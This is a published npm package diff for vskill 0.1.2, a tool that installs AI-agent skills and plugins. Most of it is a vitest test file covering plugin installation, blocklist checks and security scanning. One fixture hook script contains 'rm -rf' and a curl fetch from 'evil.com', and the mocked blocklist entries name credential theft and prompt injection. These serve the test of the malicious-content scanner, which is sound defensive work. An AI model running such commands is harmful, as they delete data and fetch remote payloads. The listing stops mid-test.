vskill 0.1.1 → 0.1.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/dist/agents/agents-registry.d.ts +48 -37
- package/dist/agents/agents-registry.js +206 -261
- package/dist/agents/agents-registry.js.map +1 -1
- package/dist/agents/agents-registry.test.d.ts +1 -0
- package/dist/agents/agents-registry.test.js +203 -0
- package/dist/agents/agents-registry.test.js.map +1 -0
- package/dist/api/client.test.d.ts +1 -0
- package/dist/api/client.test.js +204 -0
- package/dist/api/client.test.js.map +1 -0
- package/dist/blocklist/blocklist.d.ts +23 -0
- package/dist/blocklist/blocklist.js +116 -0
- package/dist/blocklist/blocklist.js.map +1 -0
- package/dist/blocklist/blocklist.test.d.ts +1 -0
- package/dist/blocklist/blocklist.test.js +259 -0
- package/dist/blocklist/blocklist.test.js.map +1 -0
- package/dist/blocklist/types.d.ts +18 -0
- package/dist/blocklist/types.js +5 -0
- package/dist/blocklist/types.js.map +1 -0
- package/dist/commands/add.d.ts +2 -0
- package/dist/commands/add.js +221 -6
- package/dist/commands/add.js.map +1 -1
- package/dist/commands/add.test.d.ts +1 -0
- package/dist/commands/add.test.js +682 -0
- package/dist/commands/add.test.js.map +1 -0
- package/dist/commands/blocklist.d.ts +1 -0
- package/dist/commands/blocklist.js +87 -0
- package/dist/commands/blocklist.js.map +1 -0
- package/dist/commands/blocklist.test.d.ts +1 -0
- package/dist/commands/blocklist.test.js +158 -0
- package/dist/commands/blocklist.test.js.map +1 -0
- package/dist/commands/remove.d.ts +7 -0
- package/dist/commands/remove.js +91 -0
- package/dist/commands/remove.js.map +1 -0
- package/dist/commands/remove.test.d.ts +1 -0
- package/dist/commands/remove.test.js +164 -0
- package/dist/commands/remove.test.js.map +1 -0
- package/dist/commands/submit.d.ts +1 -1
- package/dist/commands/submit.js +26 -16
- package/dist/commands/submit.js.map +1 -1
- package/dist/commands/submit.test.d.ts +1 -0
- package/dist/commands/submit.test.js +74 -0
- package/dist/commands/submit.test.js.map +1 -0
- package/dist/index.js +21 -2
- package/dist/index.js.map +1 -1
- package/dist/lockfile/lockfile.test.d.ts +1 -0
- package/dist/lockfile/lockfile.test.js +196 -0
- package/dist/lockfile/lockfile.test.js.map +1 -0
- package/dist/lockfile/types.d.ts +8 -0
- package/dist/marketplace/index.d.ts +2 -0
- package/dist/marketplace/index.js +2 -0
- package/dist/marketplace/index.js.map +1 -0
- package/dist/marketplace/marketplace.d.ts +34 -0
- package/dist/marketplace/marketplace.js +51 -0
- package/dist/marketplace/marketplace.js.map +1 -0
- package/dist/marketplace/marketplace.test.d.ts +1 -0
- package/dist/marketplace/marketplace.test.js +103 -0
- package/dist/marketplace/marketplace.test.js.map +1 -0
- package/dist/scanner/index.d.ts +4 -0
- package/dist/scanner/index.js +4 -0
- package/dist/scanner/index.js.map +1 -1
- package/dist/scanner/patterns.test.d.ts +1 -0
- package/dist/scanner/patterns.test.js +353 -0
- package/dist/scanner/patterns.test.js.map +1 -0
- package/dist/scanner/repo-scanner.d.ts +30 -0
- package/dist/scanner/repo-scanner.js +190 -0
- package/dist/scanner/repo-scanner.js.map +1 -0
- package/dist/scanner/tier1.test.d.ts +1 -0
- package/dist/scanner/tier1.test.js +182 -0
- package/dist/scanner/tier1.test.js.map +1 -0
- package/dist/scanner/tier2-llm.d.ts +28 -0
- package/dist/scanner/tier2-llm.js +130 -0
- package/dist/scanner/tier2-llm.js.map +1 -0
- package/dist/scanner/types.d.ts +58 -0
- package/dist/scanner/types.js +5 -0
- package/dist/scanner/types.js.map +1 -0
- package/dist/security/index.d.ts +2 -0
- package/dist/security/index.js +2 -0
- package/dist/security/index.js.map +1 -0
- package/dist/security/platform-security.d.ts +17 -0
- package/dist/security/platform-security.js +34 -0
- package/dist/security/platform-security.js.map +1 -0
- package/dist/security/platform-security.test.d.ts +1 -0
- package/dist/security/platform-security.test.js +92 -0
- package/dist/security/platform-security.test.js.map +1 -0
- package/dist/settings/index.d.ts +2 -0
- package/dist/settings/index.js +2 -0
- package/dist/settings/index.js.map +1 -0
- package/dist/settings/settings.d.ts +16 -0
- package/dist/settings/settings.js +73 -0
- package/dist/settings/settings.js.map +1 -0
- package/dist/settings/settings.test.d.ts +1 -0
- package/dist/settings/settings.test.js +103 -0
- package/dist/settings/settings.test.js.map +1 -0
- package/dist/utils/__tests__/paths.test.d.ts +1 -0
- package/dist/utils/__tests__/paths.test.js +22 -0
- package/dist/utils/__tests__/paths.test.js.map +1 -0
- package/dist/utils/__tests__/validation.test.d.ts +1 -0
- package/dist/utils/__tests__/validation.test.js +49 -0
- package/dist/utils/__tests__/validation.test.js.map +1 -0
- package/dist/utils/browser.d.ts +6 -0
- package/dist/utils/browser.js +37 -0
- package/dist/utils/browser.js.map +1 -0
- package/dist/utils/paths.d.ts +5 -0
- package/dist/utils/paths.js +13 -0
- package/dist/utils/paths.js.map +1 -0
- package/dist/utils/validation.d.ts +14 -0
- package/dist/utils/validation.js +34 -0
- package/dist/utils/validation.js.map +1 -0
- package/package.json +5 -2
- package/scripts/preuninstall.cjs +58 -0
|
@@ -0,0 +1,682 @@
|
|
|
1
|
+
import { describe, it, expect, vi, beforeEach, afterEach } from "vitest";
|
|
2
|
+
// ---------------------------------------------------------------------------
|
|
3
|
+
// Mock node:fs
|
|
4
|
+
// ---------------------------------------------------------------------------
|
|
5
|
+
const mockMkdirSync = vi.fn();
|
|
6
|
+
const mockWriteFileSync = vi.fn();
|
|
7
|
+
const mockReadFileSync = vi.fn();
|
|
8
|
+
const mockExistsSync = vi.fn();
|
|
9
|
+
const mockCpSync = vi.fn();
|
|
10
|
+
const mockChmodSync = vi.fn();
|
|
11
|
+
const mockReaddirSync = vi.fn();
|
|
12
|
+
const mockStatSync = vi.fn();
|
|
13
|
+
vi.mock("node:fs", () => ({
|
|
14
|
+
mkdirSync: (...args) => mockMkdirSync(...args),
|
|
15
|
+
writeFileSync: (...args) => mockWriteFileSync(...args),
|
|
16
|
+
readFileSync: (...args) => mockReadFileSync(...args),
|
|
17
|
+
existsSync: (...args) => mockExistsSync(...args),
|
|
18
|
+
cpSync: (...args) => mockCpSync(...args),
|
|
19
|
+
chmodSync: (...args) => mockChmodSync(...args),
|
|
20
|
+
readdirSync: (...args) => mockReaddirSync(...args),
|
|
21
|
+
statSync: (...args) => mockStatSync(...args),
|
|
22
|
+
}));
|
|
23
|
+
// ---------------------------------------------------------------------------
|
|
24
|
+
// Mock node:path (pass-through with join tracking)
|
|
25
|
+
// ---------------------------------------------------------------------------
|
|
26
|
+
vi.mock("node:path", async () => {
|
|
27
|
+
const actual = await vi.importActual("node:path");
|
|
28
|
+
return {
|
|
29
|
+
...actual,
|
|
30
|
+
join: (...args) => actual.join(...args),
|
|
31
|
+
};
|
|
32
|
+
});
|
|
33
|
+
// ---------------------------------------------------------------------------
|
|
34
|
+
// Mock node:crypto
|
|
35
|
+
// ---------------------------------------------------------------------------
|
|
36
|
+
const mockDigest = vi.fn().mockReturnValue("abcdef123456xxxx");
|
|
37
|
+
const mockUpdate = vi.fn().mockReturnValue({ digest: mockDigest });
|
|
38
|
+
vi.mock("node:crypto", () => ({
|
|
39
|
+
createHash: () => ({ update: mockUpdate }),
|
|
40
|
+
}));
|
|
41
|
+
// ---------------------------------------------------------------------------
|
|
42
|
+
// Mock agents registry
|
|
43
|
+
// ---------------------------------------------------------------------------
|
|
44
|
+
const mockDetectInstalledAgents = vi.fn();
|
|
45
|
+
vi.mock("../agents/agents-registry.js", () => ({
|
|
46
|
+
detectInstalledAgents: (...args) => mockDetectInstalledAgents(...args),
|
|
47
|
+
}));
|
|
48
|
+
// ---------------------------------------------------------------------------
|
|
49
|
+
// Mock lockfile
|
|
50
|
+
// ---------------------------------------------------------------------------
|
|
51
|
+
const mockEnsureLockfile = vi.fn();
|
|
52
|
+
const mockWriteLockfile = vi.fn();
|
|
53
|
+
vi.mock("../lockfile/index.js", () => ({
|
|
54
|
+
ensureLockfile: (...args) => mockEnsureLockfile(...args),
|
|
55
|
+
writeLockfile: (...args) => mockWriteLockfile(...args),
|
|
56
|
+
}));
|
|
57
|
+
// ---------------------------------------------------------------------------
|
|
58
|
+
// Mock scanner
|
|
59
|
+
// ---------------------------------------------------------------------------
|
|
60
|
+
const mockRunTier1Scan = vi.fn();
|
|
61
|
+
vi.mock("../scanner/index.js", () => ({
|
|
62
|
+
runTier1Scan: (...args) => mockRunTier1Scan(...args),
|
|
63
|
+
}));
|
|
64
|
+
// ---------------------------------------------------------------------------
|
|
65
|
+
// Mock blocklist
|
|
66
|
+
// ---------------------------------------------------------------------------
|
|
67
|
+
const mockCheckBlocklist = vi.fn();
|
|
68
|
+
vi.mock("../blocklist/blocklist.js", () => ({
|
|
69
|
+
checkBlocklist: (...args) => mockCheckBlocklist(...args),
|
|
70
|
+
}));
|
|
71
|
+
// ---------------------------------------------------------------------------
|
|
72
|
+
// Mock security (platform security check)
|
|
73
|
+
// ---------------------------------------------------------------------------
|
|
74
|
+
const mockCheckPlatformSecurity = vi.fn();
|
|
75
|
+
vi.mock("../security/index.js", () => ({
|
|
76
|
+
checkPlatformSecurity: (...args) => mockCheckPlatformSecurity(...args),
|
|
77
|
+
}));
|
|
78
|
+
// ---------------------------------------------------------------------------
|
|
79
|
+
// Mock utils/output (suppress console output in tests)
|
|
80
|
+
// ---------------------------------------------------------------------------
|
|
81
|
+
vi.mock("../utils/output.js", () => ({
|
|
82
|
+
bold: (s) => s,
|
|
83
|
+
green: (s) => s,
|
|
84
|
+
red: (s) => s,
|
|
85
|
+
yellow: (s) => s,
|
|
86
|
+
dim: (s) => s,
|
|
87
|
+
cyan: (s) => s,
|
|
88
|
+
spinner: () => ({ stop: vi.fn() }),
|
|
89
|
+
}));
|
|
90
|
+
// ---------------------------------------------------------------------------
|
|
91
|
+
// Import module under test AFTER mocks
|
|
92
|
+
// ---------------------------------------------------------------------------
|
|
93
|
+
const { addCommand } = await import("./add.js");
|
|
94
|
+
// ---------------------------------------------------------------------------
|
|
95
|
+
// Helpers
|
|
96
|
+
// ---------------------------------------------------------------------------
|
|
97
|
+
function makeScanResult(overrides = {}) {
|
|
98
|
+
return {
|
|
99
|
+
verdict: "PASS",
|
|
100
|
+
findings: [],
|
|
101
|
+
score: 100,
|
|
102
|
+
patternsChecked: 37,
|
|
103
|
+
criticalCount: 0,
|
|
104
|
+
highCount: 0,
|
|
105
|
+
mediumCount: 0,
|
|
106
|
+
lowCount: 0,
|
|
107
|
+
infoCount: 0,
|
|
108
|
+
durationMs: 1,
|
|
109
|
+
...overrides,
|
|
110
|
+
};
|
|
111
|
+
}
|
|
112
|
+
function makeAgent(overrides = {}) {
|
|
113
|
+
return {
|
|
114
|
+
id: "claude-code",
|
|
115
|
+
displayName: "Claude Code",
|
|
116
|
+
localSkillsDir: ".claude/commands",
|
|
117
|
+
globalSkillsDir: "~/.claude/commands",
|
|
118
|
+
...overrides,
|
|
119
|
+
};
|
|
120
|
+
}
|
|
121
|
+
// ---------------------------------------------------------------------------
|
|
122
|
+
// Tests
|
|
123
|
+
// ---------------------------------------------------------------------------
|
|
124
|
+
beforeEach(() => {
|
|
125
|
+
vi.clearAllMocks();
|
|
126
|
+
// Suppress console output during tests
|
|
127
|
+
vi.spyOn(console, "log").mockImplementation(() => { });
|
|
128
|
+
vi.spyOn(console, "error").mockImplementation(() => { });
|
|
129
|
+
// Default: platform security returns null (non-fatal, no external results)
|
|
130
|
+
mockCheckPlatformSecurity.mockResolvedValue(null);
|
|
131
|
+
});
|
|
132
|
+
describe("addCommand with --plugin option (plugin directory support)", () => {
|
|
133
|
+
// TC-001: --plugin <name> flag selects sub-plugin from multi-plugin repo
|
|
134
|
+
describe("TC-001: plugin flag selects sub-plugin directory", () => {
|
|
135
|
+
it("selects the sw-frontend plugin directory from a local path with plugins/ structure", async () => {
|
|
136
|
+
const localPath = "/tmp/test-repo";
|
|
137
|
+
// The plugin directory path: /tmp/test-repo/plugins/specweave-frontend/
|
|
138
|
+
mockExistsSync.mockImplementation((p) => {
|
|
139
|
+
if (p.includes("plugins/specweave-frontend"))
|
|
140
|
+
return true;
|
|
141
|
+
if (p.includes(".claude-plugin/marketplace.json"))
|
|
142
|
+
return true;
|
|
143
|
+
return false;
|
|
144
|
+
});
|
|
145
|
+
mockReadFileSync.mockImplementation((p) => {
|
|
146
|
+
if (p.includes("marketplace.json")) {
|
|
147
|
+
return JSON.stringify({
|
|
148
|
+
name: "specweave",
|
|
149
|
+
version: "1.0.225",
|
|
150
|
+
plugins: [
|
|
151
|
+
{ name: "sw", source: "./plugins/specweave", version: "1.0.225" },
|
|
152
|
+
{ name: "sw-frontend", source: "./plugins/specweave-frontend", version: "1.0.0" },
|
|
153
|
+
],
|
|
154
|
+
});
|
|
155
|
+
}
|
|
156
|
+
return "";
|
|
157
|
+
});
|
|
158
|
+
// readdirSync for collectPluginContent and fixHookPermissions
|
|
159
|
+
mockReaddirSync.mockImplementation((_dir, opts) => {
|
|
160
|
+
if (typeof opts === "object" && opts !== null && opts.recursive) {
|
|
161
|
+
return ["skills/SKILL.md", "hooks/setup.sh"];
|
|
162
|
+
}
|
|
163
|
+
return [];
|
|
164
|
+
});
|
|
165
|
+
mockRunTier1Scan.mockReturnValue(makeScanResult());
|
|
166
|
+
mockDetectInstalledAgents.mockResolvedValue([makeAgent()]);
|
|
167
|
+
mockEnsureLockfile.mockReturnValue({
|
|
168
|
+
version: 1,
|
|
169
|
+
agents: [],
|
|
170
|
+
skills: {},
|
|
171
|
+
createdAt: "2026-01-01T00:00:00.000Z",
|
|
172
|
+
updatedAt: "2026-01-01T00:00:00.000Z",
|
|
173
|
+
});
|
|
174
|
+
// Call addCommand with plugin option and pluginDir (local source)
|
|
175
|
+
await addCommand(localPath, { plugin: "sw-frontend", pluginDir: localPath });
|
|
176
|
+
// The cpSync should have been called with the resolved plugin subdirectory
|
|
177
|
+
expect(mockCpSync).toHaveBeenCalled();
|
|
178
|
+
const cpCall = mockCpSync.mock.calls[0];
|
|
179
|
+
// Source should include plugins/specweave-frontend
|
|
180
|
+
expect(cpCall[0]).toContain("plugins/specweave-frontend");
|
|
181
|
+
});
|
|
182
|
+
});
|
|
183
|
+
// TC-002: Full directory structure preserved on installation
|
|
184
|
+
describe("TC-002: full directory structure is preserved", () => {
|
|
185
|
+
it("recursively copies all subdirectories (skills, hooks, commands, agents, .claude-plugin) to cache", async () => {
|
|
186
|
+
const localPath = "/tmp/test-plugin";
|
|
187
|
+
const pluginSubdir = "/tmp/test-plugin/plugins/specweave-frontend";
|
|
188
|
+
mockExistsSync.mockReturnValue(true);
|
|
189
|
+
mockReadFileSync.mockImplementation((p) => {
|
|
190
|
+
if (p.includes("marketplace.json")) {
|
|
191
|
+
return JSON.stringify({
|
|
192
|
+
name: "specweave",
|
|
193
|
+
version: "1.0.0",
|
|
194
|
+
plugins: [
|
|
195
|
+
{ name: "sw-frontend", source: "./plugins/specweave-frontend", version: "1.0.0" },
|
|
196
|
+
],
|
|
197
|
+
});
|
|
198
|
+
}
|
|
199
|
+
return "# Plugin content";
|
|
200
|
+
});
|
|
201
|
+
// Simulate directory listing for scan
|
|
202
|
+
mockReaddirSync.mockReturnValue([
|
|
203
|
+
"skills",
|
|
204
|
+
"hooks",
|
|
205
|
+
"commands",
|
|
206
|
+
"agents",
|
|
207
|
+
".claude-plugin",
|
|
208
|
+
]);
|
|
209
|
+
mockStatSync.mockReturnValue({ isDirectory: () => true });
|
|
210
|
+
mockRunTier1Scan.mockReturnValue(makeScanResult());
|
|
211
|
+
mockDetectInstalledAgents.mockResolvedValue([makeAgent()]);
|
|
212
|
+
mockEnsureLockfile.mockReturnValue({
|
|
213
|
+
version: 1,
|
|
214
|
+
agents: [],
|
|
215
|
+
skills: {},
|
|
216
|
+
createdAt: "2026-01-01T00:00:00.000Z",
|
|
217
|
+
updatedAt: "2026-01-01T00:00:00.000Z",
|
|
218
|
+
});
|
|
219
|
+
await addCommand(localPath, { plugin: "sw-frontend", pluginDir: localPath });
|
|
220
|
+
// cpSync must have been called with recursive: true
|
|
221
|
+
expect(mockCpSync).toHaveBeenCalled();
|
|
222
|
+
const cpCall = mockCpSync.mock.calls[0];
|
|
223
|
+
expect(cpCall[2]).toEqual(expect.objectContaining({ recursive: true }));
|
|
224
|
+
});
|
|
225
|
+
});
|
|
226
|
+
// TC-003: Hook script permissions fixed
|
|
227
|
+
describe("TC-003: hook scripts get executable permission", () => {
|
|
228
|
+
it("sets chmod 0o755 on all .sh files in hooks/ after install", async () => {
|
|
229
|
+
const localPath = "/tmp/test-plugin";
|
|
230
|
+
mockExistsSync.mockReturnValue(true);
|
|
231
|
+
mockReadFileSync.mockImplementation((p) => {
|
|
232
|
+
if (p.includes("marketplace.json")) {
|
|
233
|
+
return JSON.stringify({
|
|
234
|
+
name: "specweave",
|
|
235
|
+
version: "1.0.0",
|
|
236
|
+
plugins: [
|
|
237
|
+
{ name: "sw-frontend", source: "./plugins/specweave-frontend", version: "1.0.0" },
|
|
238
|
+
],
|
|
239
|
+
});
|
|
240
|
+
}
|
|
241
|
+
return "# Hook content";
|
|
242
|
+
});
|
|
243
|
+
// When scanning for .sh files in the installed directory
|
|
244
|
+
mockReaddirSync.mockImplementation((dir, opts) => {
|
|
245
|
+
// Return file entries when called with recursive option
|
|
246
|
+
if (typeof opts === "object" && opts !== null && opts.recursive) {
|
|
247
|
+
return [
|
|
248
|
+
"hooks/pre-install.sh",
|
|
249
|
+
"hooks/post-install.sh",
|
|
250
|
+
"skills/SKILL.md",
|
|
251
|
+
"commands/init.md",
|
|
252
|
+
];
|
|
253
|
+
}
|
|
254
|
+
return [];
|
|
255
|
+
});
|
|
256
|
+
mockRunTier1Scan.mockReturnValue(makeScanResult());
|
|
257
|
+
mockDetectInstalledAgents.mockResolvedValue([makeAgent()]);
|
|
258
|
+
mockEnsureLockfile.mockReturnValue({
|
|
259
|
+
version: 1,
|
|
260
|
+
agents: [],
|
|
261
|
+
skills: {},
|
|
262
|
+
createdAt: "2026-01-01T00:00:00.000Z",
|
|
263
|
+
updatedAt: "2026-01-01T00:00:00.000Z",
|
|
264
|
+
});
|
|
265
|
+
await addCommand(localPath, { plugin: "sw-frontend", pluginDir: localPath });
|
|
266
|
+
// chmodSync should be called for each .sh file with 0o755
|
|
267
|
+
const chmodCalls = mockChmodSync.mock.calls;
|
|
268
|
+
const shCalls = chmodCalls.filter((call) => typeof call[0] === "string" && call[0].endsWith(".sh"));
|
|
269
|
+
expect(shCalls.length).toBeGreaterThanOrEqual(2);
|
|
270
|
+
for (const call of shCalls) {
|
|
271
|
+
expect(call[1]).toBe(0o755);
|
|
272
|
+
}
|
|
273
|
+
});
|
|
274
|
+
});
|
|
275
|
+
// TC-004: Security scanning covers all plugin files
|
|
276
|
+
describe("TC-004: security scan covers all plugin files", () => {
|
|
277
|
+
it("scans concatenated content from all plugin files, not just SKILL.md", async () => {
|
|
278
|
+
const localPath = "/tmp/test-plugin";
|
|
279
|
+
mockExistsSync.mockReturnValue(true);
|
|
280
|
+
const hookContent = "#!/bin/bash\nrm -rf /tmp/evil\ncurl http://evil.com/payload";
|
|
281
|
+
const skillContent = "# My Skill\nSafe content here";
|
|
282
|
+
mockReadFileSync.mockImplementation((p) => {
|
|
283
|
+
if (p.includes("marketplace.json")) {
|
|
284
|
+
return JSON.stringify({
|
|
285
|
+
name: "specweave",
|
|
286
|
+
version: "1.0.0",
|
|
287
|
+
plugins: [
|
|
288
|
+
{ name: "sw-frontend", source: "./plugins/specweave-frontend", version: "1.0.0" },
|
|
289
|
+
],
|
|
290
|
+
});
|
|
291
|
+
}
|
|
292
|
+
if (p.includes("hooks/"))
|
|
293
|
+
return hookContent;
|
|
294
|
+
if (p.includes("SKILL.md"))
|
|
295
|
+
return skillContent;
|
|
296
|
+
return "";
|
|
297
|
+
});
|
|
298
|
+
mockReaddirSync.mockImplementation((dir, opts) => {
|
|
299
|
+
if (typeof opts === "object" && opts !== null && opts.recursive) {
|
|
300
|
+
return [
|
|
301
|
+
"hooks/deploy.sh",
|
|
302
|
+
"skills/SKILL.md",
|
|
303
|
+
];
|
|
304
|
+
}
|
|
305
|
+
return [];
|
|
306
|
+
});
|
|
307
|
+
// The scan should receive concatenated content from all files
|
|
308
|
+
mockRunTier1Scan.mockReturnValue(makeScanResult({
|
|
309
|
+
verdict: "FAIL",
|
|
310
|
+
score: 20,
|
|
311
|
+
findings: [
|
|
312
|
+
{
|
|
313
|
+
patternId: "FS-001",
|
|
314
|
+
patternName: "Recursive delete",
|
|
315
|
+
severity: "critical",
|
|
316
|
+
category: "filesystem-access",
|
|
317
|
+
match: "rm -rf",
|
|
318
|
+
lineNumber: 2,
|
|
319
|
+
context: "rm -rf /tmp/evil",
|
|
320
|
+
},
|
|
321
|
+
{
|
|
322
|
+
patternId: "NA-001",
|
|
323
|
+
patternName: "Curl/wget to unknown host",
|
|
324
|
+
severity: "high",
|
|
325
|
+
category: "network-access",
|
|
326
|
+
match: 'curl http://evil.com/payload',
|
|
327
|
+
lineNumber: 3,
|
|
328
|
+
context: "curl http://evil.com/payload",
|
|
329
|
+
},
|
|
330
|
+
],
|
|
331
|
+
criticalCount: 1,
|
|
332
|
+
highCount: 1,
|
|
333
|
+
}));
|
|
334
|
+
mockDetectInstalledAgents.mockResolvedValue([makeAgent()]);
|
|
335
|
+
mockEnsureLockfile.mockReturnValue({
|
|
336
|
+
version: 1,
|
|
337
|
+
agents: [],
|
|
338
|
+
skills: {},
|
|
339
|
+
createdAt: "2026-01-01T00:00:00.000Z",
|
|
340
|
+
updatedAt: "2026-01-01T00:00:00.000Z",
|
|
341
|
+
});
|
|
342
|
+
// Force install despite failure to reach lockfile update
|
|
343
|
+
await addCommand(localPath, {
|
|
344
|
+
plugin: "sw-frontend",
|
|
345
|
+
pluginDir: localPath,
|
|
346
|
+
force: true,
|
|
347
|
+
});
|
|
348
|
+
// runTier1Scan should have been called with content containing hook file data
|
|
349
|
+
expect(mockRunTier1Scan).toHaveBeenCalled();
|
|
350
|
+
const scannedContent = mockRunTier1Scan.mock.calls[0][0];
|
|
351
|
+
// The scanned content should include hook file content (rm -rf, curl)
|
|
352
|
+
expect(scannedContent).toContain("rm -rf");
|
|
353
|
+
expect(scannedContent).toContain("curl");
|
|
354
|
+
});
|
|
355
|
+
});
|
|
356
|
+
});
|
|
357
|
+
// ---------------------------------------------------------------------------
|
|
358
|
+
// T-013: Blocklist check in GitHub path
|
|
359
|
+
// ---------------------------------------------------------------------------
|
|
360
|
+
describe("addCommand blocklist check (GitHub path)", () => {
|
|
361
|
+
// Mock global fetch for GitHub path tests
|
|
362
|
+
const originalFetch = globalThis.fetch;
|
|
363
|
+
beforeEach(() => {
|
|
364
|
+
globalThis.fetch = vi.fn().mockResolvedValue({
|
|
365
|
+
ok: true,
|
|
366
|
+
text: async () => "# Safe Skill\nNormal content",
|
|
367
|
+
});
|
|
368
|
+
});
|
|
369
|
+
afterEach(() => {
|
|
370
|
+
globalThis.fetch = originalFetch;
|
|
371
|
+
});
|
|
372
|
+
it("blocks installation when skill is on the blocklist", async () => {
|
|
373
|
+
mockCheckBlocklist.mockResolvedValue({
|
|
374
|
+
skillName: "evil-repo",
|
|
375
|
+
threatType: "credential-theft",
|
|
376
|
+
severity: "critical",
|
|
377
|
+
reason: "Steals AWS credentials",
|
|
378
|
+
evidenceUrls: [],
|
|
379
|
+
discoveredAt: "2026-02-01T00:00:00Z",
|
|
380
|
+
});
|
|
381
|
+
const mockExit = vi.spyOn(process, "exit").mockImplementation(() => {
|
|
382
|
+
throw new Error("process.exit");
|
|
383
|
+
});
|
|
384
|
+
await expect(addCommand("owner/evil-repo", {})).rejects.toThrow("process.exit");
|
|
385
|
+
expect(mockCheckBlocklist).toHaveBeenCalledWith("evil-repo", undefined);
|
|
386
|
+
expect(mockExit).toHaveBeenCalledWith(1);
|
|
387
|
+
// Tier 1 scan should NOT have been called (blocked before scan)
|
|
388
|
+
expect(mockRunTier1Scan).not.toHaveBeenCalled();
|
|
389
|
+
const errorOutput = console.error.mock.calls
|
|
390
|
+
.map((c) => String(c[0]))
|
|
391
|
+
.join("\n");
|
|
392
|
+
expect(errorOutput).toContain("BLOCKED");
|
|
393
|
+
expect(errorOutput).toContain("credential-theft");
|
|
394
|
+
mockExit.mockRestore();
|
|
395
|
+
});
|
|
396
|
+
it("proceeds normally when skill is NOT on the blocklist", async () => {
|
|
397
|
+
mockCheckBlocklist.mockResolvedValue(null);
|
|
398
|
+
mockRunTier1Scan.mockReturnValue(makeScanResult());
|
|
399
|
+
mockDetectInstalledAgents.mockResolvedValue([makeAgent()]);
|
|
400
|
+
mockEnsureLockfile.mockReturnValue({
|
|
401
|
+
version: 1,
|
|
402
|
+
agents: [],
|
|
403
|
+
skills: {},
|
|
404
|
+
createdAt: "2026-01-01T00:00:00.000Z",
|
|
405
|
+
updatedAt: "2026-01-01T00:00:00.000Z",
|
|
406
|
+
});
|
|
407
|
+
await addCommand("owner/safe-repo", {});
|
|
408
|
+
expect(mockCheckBlocklist).toHaveBeenCalledWith("safe-repo", undefined);
|
|
409
|
+
expect(mockRunTier1Scan).toHaveBeenCalled();
|
|
410
|
+
});
|
|
411
|
+
it("uses --skill name for blocklist check when provided", async () => {
|
|
412
|
+
mockCheckBlocklist.mockResolvedValue(null);
|
|
413
|
+
mockRunTier1Scan.mockReturnValue(makeScanResult());
|
|
414
|
+
mockDetectInstalledAgents.mockResolvedValue([makeAgent()]);
|
|
415
|
+
mockEnsureLockfile.mockReturnValue({
|
|
416
|
+
version: 1,
|
|
417
|
+
agents: [],
|
|
418
|
+
skills: {},
|
|
419
|
+
createdAt: "2026-01-01T00:00:00.000Z",
|
|
420
|
+
updatedAt: "2026-01-01T00:00:00.000Z",
|
|
421
|
+
});
|
|
422
|
+
await addCommand("owner/repo", { skill: "my-skill" });
|
|
423
|
+
expect(mockCheckBlocklist).toHaveBeenCalledWith("my-skill", undefined);
|
|
424
|
+
});
|
|
425
|
+
});
|
|
426
|
+
// ---------------------------------------------------------------------------
|
|
427
|
+
// T-014: Blocklist check in plugin path
|
|
428
|
+
// ---------------------------------------------------------------------------
|
|
429
|
+
describe("addCommand blocklist check (plugin path)", () => {
|
|
430
|
+
it("blocks plugin installation when plugin is on the blocklist", async () => {
|
|
431
|
+
mockCheckBlocklist.mockResolvedValue({
|
|
432
|
+
skillName: "evil-plugin",
|
|
433
|
+
threatType: "prompt-injection",
|
|
434
|
+
severity: "critical",
|
|
435
|
+
reason: "Injects malicious prompts",
|
|
436
|
+
evidenceUrls: [],
|
|
437
|
+
discoveredAt: "2026-02-01T00:00:00Z",
|
|
438
|
+
});
|
|
439
|
+
mockExistsSync.mockReturnValue(true);
|
|
440
|
+
mockReadFileSync.mockImplementation((p) => {
|
|
441
|
+
if (p.includes("marketplace.json")) {
|
|
442
|
+
return JSON.stringify({
|
|
443
|
+
name: "test",
|
|
444
|
+
version: "1.0.0",
|
|
445
|
+
plugins: [
|
|
446
|
+
{ name: "evil-plugin", source: "./plugins/evil-plugin", version: "1.0.0" },
|
|
447
|
+
],
|
|
448
|
+
});
|
|
449
|
+
}
|
|
450
|
+
return "";
|
|
451
|
+
});
|
|
452
|
+
const mockExit = vi.spyOn(process, "exit").mockImplementation(() => {
|
|
453
|
+
throw new Error("process.exit");
|
|
454
|
+
});
|
|
455
|
+
await expect(addCommand("source", { plugin: "evil-plugin", pluginDir: "/tmp/test" })).rejects.toThrow("process.exit");
|
|
456
|
+
expect(mockCheckBlocklist).toHaveBeenCalledWith("evil-plugin");
|
|
457
|
+
expect(mockRunTier1Scan).not.toHaveBeenCalled();
|
|
458
|
+
mockExit.mockRestore();
|
|
459
|
+
});
|
|
460
|
+
it("proceeds with plugin installation when not blocklisted", async () => {
|
|
461
|
+
mockCheckBlocklist.mockResolvedValue(null);
|
|
462
|
+
mockExistsSync.mockReturnValue(true);
|
|
463
|
+
mockReadFileSync.mockImplementation((p) => {
|
|
464
|
+
if (p.includes("marketplace.json")) {
|
|
465
|
+
return JSON.stringify({
|
|
466
|
+
name: "test",
|
|
467
|
+
version: "1.0.0",
|
|
468
|
+
plugins: [
|
|
469
|
+
{ name: "safe-plugin", source: "./plugins/safe-plugin", version: "1.0.0" },
|
|
470
|
+
],
|
|
471
|
+
});
|
|
472
|
+
}
|
|
473
|
+
return "";
|
|
474
|
+
});
|
|
475
|
+
mockReaddirSync.mockReturnValue(["SKILL.md"]);
|
|
476
|
+
mockRunTier1Scan.mockReturnValue(makeScanResult());
|
|
477
|
+
mockDetectInstalledAgents.mockResolvedValue([makeAgent()]);
|
|
478
|
+
mockEnsureLockfile.mockReturnValue({
|
|
479
|
+
version: 1,
|
|
480
|
+
agents: [],
|
|
481
|
+
skills: {},
|
|
482
|
+
createdAt: "2026-01-01T00:00:00.000Z",
|
|
483
|
+
updatedAt: "2026-01-01T00:00:00.000Z",
|
|
484
|
+
});
|
|
485
|
+
await addCommand("source", { plugin: "safe-plugin", pluginDir: "/tmp/test" });
|
|
486
|
+
expect(mockCheckBlocklist).toHaveBeenCalledWith("safe-plugin");
|
|
487
|
+
expect(mockRunTier1Scan).toHaveBeenCalled();
|
|
488
|
+
});
|
|
489
|
+
});
|
|
490
|
+
// ---------------------------------------------------------------------------
|
|
491
|
+
// T-015: --force override with warning for blocked skills
|
|
492
|
+
// ---------------------------------------------------------------------------
|
|
493
|
+
describe("addCommand --force with blocked skill", () => {
|
|
494
|
+
const originalFetch = globalThis.fetch;
|
|
495
|
+
beforeEach(() => {
|
|
496
|
+
globalThis.fetch = vi.fn().mockResolvedValue({
|
|
497
|
+
ok: true,
|
|
498
|
+
